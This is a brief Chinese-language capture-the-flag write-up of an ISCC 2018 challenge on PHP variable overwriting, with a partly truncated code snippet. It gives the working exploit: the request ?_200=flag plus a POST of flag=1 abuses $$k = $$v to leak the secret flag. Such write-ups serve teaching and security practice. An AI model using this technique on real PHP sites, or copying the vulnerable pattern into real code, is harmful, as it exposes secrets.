变量覆盖

题目取自iscc2018

 $v){
    $$k = $$v;
}
foreach ($_POST as $k => $v){
    $$k = $v;
}
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "flag: ". $flag . "\n";
die($_200);
?>

入手点

foreach ($_GET as $k => $v){ $$k = $$v; }
利用其将flag赋值给$_200
www.text.com/?_200=flag然后post flag=1可得到flag
GET此时$k=_200 $v=flag $$k=$_200 $$v = $flag
相当于$_200=$flag
POST $k=flag $v=1
$$k = $flag = $v =1